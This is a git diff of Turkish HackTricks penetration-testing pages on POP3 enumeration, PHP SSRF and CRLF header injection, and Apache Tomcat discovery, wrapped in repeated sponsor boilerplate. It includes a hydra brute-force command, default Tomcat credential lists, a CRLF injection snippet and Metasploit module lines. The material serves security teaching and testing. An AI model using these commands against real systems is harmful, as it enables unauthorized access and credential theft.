* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,49 +2,28 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) alın
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın.**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli olan zayıflıkları bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Temel Bilgiler
**Posta Ofisi Protokolü (POP)**, bilgisayar ağları ve İnternet alanında bir protokol olarak tanımlanır ve uzaktaki bir posta sunucusundan e-postanın çıkarılması ve alınması için kullanılır, böylece yerel cihazda erişilebilir hale getirilir. OSI modelinin uygulama katmanında konumlandırılan bu protokol, kullanıcıların e-posta almasını ve almasını sağlar. **POP istemcilerinin** çalışması genellikle posta sunucusuna bir bağlantı kurmayı, tüm iletileri indirmeyi, bu iletileri yerel olarak istemci sistemde depolamayı ve ardından sunucudan kaldırmayı içerir. Bu protokolün üç sürümü olsa da, **POP3** en yaygın olarak kullanılan sürüm olarak öne çıkar.
**Posta Ofisi Protokolü (POP)**, bilgisayar ağları ve İnternet alanında kullanılan bir protokol olarak tanımlanır ve **uzaktaki posta sunucusundan e-postaların çıkarılması ve alınması** için kullanılır, böylece bunlar yerel cihazda erişilebilir hale gelir. OSI modelinin uygulama katmanında konumlandırılan bu protokol, kullanıcıların e-postaları almasını ve almasını sağlar. **POP istemcilerinin** işleyişi genellikle posta sunucusuna bağlantı kurmayı, tüm iletileri indirmeyi, bu iletileri yerel olarak istemci sistemine depolamayı ve ardından bunları sunucudan kaldırmayı içerir. Bu protokolün üç sürümü olsa da, **POP3** en yaygın olarak kullanılan sürüm olarak öne çıkar.
**Varsayılan portlar:** 110, 995(ssl)
```
PORT STATE SERVICE
110/tcp open pop3
```
## Numaralandırma
### Banner Yakalama
Bir hedef POP sunucusu hakkında bilgi toplamak için banner yakalama tekniği kullanılabilir. Bu teknik, sunucunun banner mesajını alarak sunucu hakkında bilgi edinmeyi sağlar. Banner mesajı, sunucunun POP hizmeti hakkında bilgiler içerebilir, örneğin sunucu sürümü veya kullanılan yazılım.
Banner yakalama işlemi için `telnet` veya `nc` gibi araçlar kullanılabilir. Aşağıda, banner yakalama işlemini gerçekleştirmek için kullanılabilecek komutlar verilmiştir:
```bash
telnet <hedef_IP> 110
```
```bash
nc <hedef_IP> 110
```
Banner mesajı alındıktan sonra, sunucu hakkında elde edilen bilgiler diğer saldırı tekniklerinde kullanılabilir.
```bash
nc -nv <IP> 110
openssl s_client -connect <IP>:995 -crlf -quiet
@ -57,9 +36,9 @@ POP3 sunucusunun yeteneklerini elde etmek için `CAPA` komutunu kullanabilirsini
```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
```
`pop3-ntlm-info` eklentisi, bazı "**hassas**" verileri (Windows sürümleri) döndürecektir.
`pop3-ntlm-info` eklentisi bazı "**duyarlı**" verileri (Windows sürümleri) döndürecektir.
### [POP3 brute force](../generic-methodologies-and-resources/brute-force.md#pop)
### [POP3 kaba kuvvet saldırısı](../generic-methodologies-and-resources/brute-force.md#pop)
## POP sözdizimi
@ -77,59 +56,7 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
```
# POP (Post Office Protocol)
POP (Post Office Protocol), bir e-posta sunucusuna erişmek için kullanılan bir ağ protokolüdür. POP, e-posta istemcilerinin sunucudaki e-postaları indirmesine ve yerel bir cihazda depolamasına olanak tanır.
## POP3
POP3 (Post Office Protocol version 3), en yaygın kullanılan POP sürümüdür. POP3, e-posta istemcilerinin sunucudaki e-postaları indirmek için kullanılan bir protokoldür. POP3, TCP üzerinde çalışır ve varsayılan olarak 110 numaralı portu kullanır.
### POP3 Bağlantı Noktaları
POP3, varsayılan olarak 110 numaralı portu kullanır. Ancak, bazı sunucular farklı bir port kullanabilir. POP3S (POP3 Secure) olarak adlandırılan güvenli bir sürümü de vardır ve genellikle 995 numaralı portu kullanır.
### POP3 Kimlik Doğrulama
POP3, kullanıcı kimlik doğrulaması için kullanıcı adı ve parola kullanır. Kimlik doğrulama bilgileri, istemci tarafından sunucuya gönderilir ve sunucu tarafından doğrulanır.
### POP3 Güvenlik Zaafları
POP3, güvenlik açıklarına sahip olabilir. Bazı yaygın güvenlik zaafları şunlardır:
- Şifreleme eksikliği: POP3, verileri şifrelemez ve bu nedenle ağ üzerinde gönderilen veriler kolayca okunabilir.
- Zayıf kimlik doğrulama: POP3, kullanıcı adı ve parola ile kimlik doğrulama yapar. Zayıf veya tahmin edilebilir kimlik doğrulama bilgileri kullanıldığında, hesaplar kolayca ele geçirilebilir.
- Güvenlik duvarı engelleri: POP3, bazı güvenlik duvarları tarafından engellenebilir. Bu durumda, POP3 trafiğini geçmek için ek önlemler alınması gerekebilir.
### POP3 Saldırıları
POP3, çeşitli saldırılara karşı savunmasız olabilir. Bazı yaygın saldırılar şunlardır:
- Brute force saldırıları: Saldırganlar, kullanıcı adı ve parola kombinasyonlarını deneyerek POP3 hesaplarını ele geçirmeye çalışabilir.
- Man-in-the-middle saldırıları: Saldırganlar, POP3 trafiğini dinleyerek veya değiştirerek kullanıcı kimlik doğrulama bilgilerini ele geçirebilir.
- Phishing saldırıları: Saldırganlar, sahte e-posta veya web siteleri aracılığıyla kullanıcıları yanıltarak POP3 kimlik doğrulama bilgilerini elde edebilir.
### POP3 Pentesting
POP3 pentesting, bir POP3 sunucusunun güvenlik açıklarını tespit etmek ve istismar etmek için yapılan bir test sürecidir. POP3 pentesting sırasında aşağıdaki adımlar izlenebilir:
1. Port taraması: POP3 sunucusunun hangi portları dinlediğini belirlemek için bir port taraması yapılır.
2. Kimlik doğrulama denemeleri: POP3 sunucusuna kimlik doğrulama denemeleri yapılır. Zayıf veya tahmin edilebilir kimlik doğrulama bilgileri kullanılarak başarılı bir kimlik doğrulama gerçekleştirilebilir mi kontrol edilir.
3. Şifreleme analizi: POP3 trafiği analiz edilerek şifreleme eksiklikleri tespit edilir. Verilerin şifrelenmediği durumlarda, saldırganlar tarafından kolayca okunabilir olabilir.
4. Saldırı senaryoları: Brute force, man-in-the-middle veya phishing gibi saldırı senaryoları kullanılarak POP3 sunucusu test edilir.
5. Güvenlik açıklarının tespiti: POP3 sunucusunda bulunan güvenlik açıkları tespit edilir. Bu açıklar, saldırganların hesaplara erişmesine veya verilere erişmesine olanak tanıyabilir.
6. İstismar etme: Bulunan güvenlik açıkları istismar edilerek POP3 sunucusuna erişim sağlanabilir veya verilere erişilebilir.
7. Raporlama: POP3 pentesting sürecinin sonunda bir rapor oluşturulur. Bu rapor, bulunan güvenlik açıklarını ve önerilen düzeltme önlemlerini içerir.
POP3 pentesting, bir POP3 sunucusunun güvenlik açıklarını tespit etmek ve istismar etmek için yapılan bir test sürecidir. POP3 pentesting sırasında aşağıdaki adımlar izlenebilir:
1. Port taraması: POP3 sunucusunun hangi portları dinlediğini belirlemek için bir port taraması yapılır.
2. Kimlik doğrulama denemeleri: POP3 sunucusuna kimlik doğrulama denemeleri yapılır. Zayıf veya tahmin edilebilir kimlik doğrulama bilgileri kullanılarak başarılı bir kimlik doğrulama gerçekleştirilebilir mi kontrol edilir.
3. Şifreleme analizi: POP3 trafiği analiz edilerek şifreleme eksiklikleri tespit edilir. Verilerin şifrelenmediği durumlarda, saldırganlar tarafından kolayca okunabilir olabilir.
4. Saldırı senaryoları: Brute force, man-in-the-middle veya phishing gibi saldırı senaryoları kullanılarak POP3 sunucusu test edilir.
5. Güvenlik açıklarının tespiti: POP3 sunucusunda bulunan güvenlik açıkları tespit edilir. Bu açıklar, saldırganların hesaplara erişmesine veya verilere erişmesine olanak tanıyabilir.
6. İstismar etme: Bulunan güvenlik açıkları istismar edilerek POP3 sunucusuna erişim sağlanabilir veya verilere erişilebilir.
7. Raporlama: POP3 pentesting sürecinin sonunda bir rapor oluşturulur. Bu rapor, bulunan güvenlik açıklarını ve önerilen düzeltme önlemlerini içerir.
Örnek:
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -156,15 +83,15 @@ password: PA$$W0RD!Z
```
## Tehlikeli Ayarlar
[https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073) adresinden alınmıştır.
[https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
| **Ayar** | **Açıklama** |
| **Ayar** | **Açıklama** |
| ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Tüm kimlik doğrulama hata ayıklama kayıtlarını etkinleştirir. |
| `auth_debug_passwords` | Bu ayar, günlük ayrıntısını, gönderilen şifreleri ve şema kaydedilir. |
| `auth_verbose` | Başarısız kimlik doğrulama girişimleri ve nedenleri kaydedilir. |
| `auth_verbose_passwords` | Kimlik doğrulama için kullanılan şifreler kaydedilir ve kısaltılabilir. |
| `auth_anonymous_username` | Bu, ANONYMOUS SASL mekanizması ile oturum açarken kullanılacak kullanıcı adını belirtir. |
| `auth_debug` | Tüm kimlik doğrulama hata ayıklama işlemini etkinleştirir. |
| `auth_debug_passwords` | Bu ayar, günlük ayrıntısını ayarlar, gönderilen şifreler ve şema kaydedilir. |
| `auth_verbose` | Başarısız kimlik doğrulama denemelerini ve nedenlerini kaydeder. |
| `auth_verbose_passwords` | Kimlik doğrulaması için kullanılan şifreler kaydedilir ve ayrıca kısaltılabilir. |
| `auth_anonymous_username` | Bu, ANONYMOUS SASL mekanizması ile oturum açarken kullanılacak kullanıcı adını belirtir. |
## HackTricks Otomatik Komutları
```
@ -209,18 +136,16 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
```
<details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
<img src="../.gitbook/assets/image (675).png" alt="" data-size="original">
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi izler, proaktif tehdit taramaları çalıştırır, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **takip edin.**
</details>

View file

@ -2,29 +2,21 @@
<details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli olan zafiyetleri bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### SSRF PHP fonksiyonları
Bazı fonksiyonlar, _**file\_get\_contents(), fopen(), file(), md5\_file()**_ gibi, URL'leri giriş olarak kabul eder ve veriyi kontrol edebilen kullanıcılar tarafından **mümkün olan SSRF zafiyetlerine** yol açabilir.
**file\_get\_contents(), fopen(), file(), md5\_file()** gibi bazı fonksiyonlar, **kullanıcının veriyi kontrol edebildiği durumlarda** giriş olarak URL'leri kabul eder ve takip eder, bu da **mümkün olan SSRF zafiyetlerine** neden olabilir:
```php
file_get_contents("http://127.0.0.1:8081");
fopen("http://127.0.0.1:8081", "r");
@ -33,7 +25,7 @@ md5_file("http://127.0.0.1:8081");
```
### CRLF
Ayrıca, bazı durumlarda önceki işlevlerde CRLF "zafiyetleri" aracılığıyla keyfi başlıklar göndermek bile mümkün olabilir:
Ayrıca, bazı durumlarda önceki fonksiyonlardaki CRLF "zafiyetleri" aracılığıyla keyfi başlıklar göndermek bile mümkün olabilir:
```php
# The following will create a header called from with value Hi and
# an extra header "Injected: I HAVE IT"
@ -52,7 +44,7 @@ Connection: close
Daha fazla bilgi için CRLF zafiyeti hakkında bu hatayı kontrol edin [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
{% endhint %}
Bu işlevlerin, isteklerde keyfi başlıklar ayarlamak için başka yöntemleri olabilir, örneğin:
Bu fonksiyonların isteklerde keyfi başlıklar ayarlamak için diğer yöntemlere sahip olabileceğini unutmayın:
```php
$url = "";
@ -68,23 +60,16 @@ $options = array(
$context = stream_context_create($options);
$file = file_get_contents($url, false, $context);
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* Hacking hilelerinizi göndererek **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>

View file

@ -2,82 +2,79 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) alın
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **[PEASS Ailesi](https://opensea.io/collection/the-peass-family)**'yi keşfedin, özel **NFT** koleksiyonumuzu keşfedin.
* **[Resmi PEASS & HackTricks ürünlerini alın](https://peass.creator-spring.com)**
* **[💬 Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya beni Twitter'da takip edin** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun.**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli olan zayıflıkları bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Keşif
* Genellikle **port 8080** üzerinde çalışır
* Genellikle **8080 numaralı portta çalışır**
* **Yaygın Tomcat hatası:**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
## Numaralandırma
### **Sürüm Belirleme**
Apache Tomcat'in sürümünü bulmak için basit bir komut çalıştırılabilir:
### **Sürüm Tanımlama**
Apache Tomcat sürümünü bulmak için basit bir komut çalıştırılabilir:
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
Bu, belgelendirme dizini sayfasında "Tomcat" terimini arayacak ve HTML yanıtının başlık etiketindeki sürümü ortaya çıkaracaktır.
### **Yönetici Dosyaları Konumu**
### **Yönetici Dosyalarının Konumu**
**`/manager`** ve **`/host-manager`** dizinlerinin tam konumlarını belirlemek, isimleri değiştirilebileceğinden önemlidir. Bu sayfaları bulmak için brute-force bir arama önerilir.
**`/manager`** ve **`/host-manager`** dizinlerinin tam konumlarını belirlemek önemlidir çünkü isimleri değiştirilmiş olabilir. Bu sayfaları bulmak için kaba kuvvet araması önerilir.
### **Kullanıcı Adı Saptama**
Tomcat 6'dan daha eski sürümler için kullanıcı adlarını saptamak mümkündür:
### **Kullanıcı Adı Numaralandırma**
Tomcat sürümü 6'dan eski olanlar için kullanıcı adları numaralandırılabilir:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Varsayılan Kimlik Bilgileri**
**`/manager/html`** dizini özellikle hassastır çünkü WAR dosyalarının yüklenmesine ve dağıtılmasına izin verir, bu da kod yürütmesine yol açabilir. Bu dizin temel HTTP kimlik doğrulamasıyla korunur ve yaygın kimlik bilgileri şunlardır:
- admin:admin
- tomcat:tomcat
- admin:<NOTHING>
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
Bu kimlik bilgileri aşağıdaki komut kullanılarak test edilebilir:
**`/manager/html`** dizini özellikle hassas bir alandır çünkü WAR dosyalarının yüklenip dağıtılmasına izin verir, bu da kod yürütmeyle sonuçlanabilir. Bu dizin temel HTTP kimlik doğrulaması ile korunmaktadır ve yaygın kimlik bilgileri şunlardır:
* admin:admin
* tomcat:tomcat
* admin:
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
Bu kimlik bilgileri şu şekilde test edilebilir:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Başka dikkate değer bir dizin **`/manager/status`**'dur, bu dizin Tomcat ve işletim sistemi sürümünü gösterir ve zafiyet tespitine yardımcı olur.
Başka dikkate değer bir dizin **`/manager/status`** 'dir, bu Tomcat ve işletim sistemi sürümünü gösterir ve zafiyet tespitine yardımcı olur.
### **Brute Force Saldırısı**
Yönetici dizininde brute force saldırısı denemek için şunları kullanabilirsiniz:
### **Kaba Kuvvet Saldırısı**
Yönetici dizinine kaba kuvvet saldırısı yapmak için şunu kullanabilirsiniz:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
Metasploit'e çeşitli parametreler ayarlanarak belirli bir ana bilgisayara hedeflenir.
## Ortak Zayıflıklar
## Yaygın Zayıflıklar
### **Şifre Geri İzleme Açığı**
### **Parola Geri İzleme Açığı**
`/auth.jsp`'ye erişmek, uygun koşullar altında geri izlemede parolanın ortaya çıkmasına neden olabilir.
`/auth.jsp`'ye erişmek şanslı durumlarda şifreyi geri izlemek için bir fırsat sunabilir.
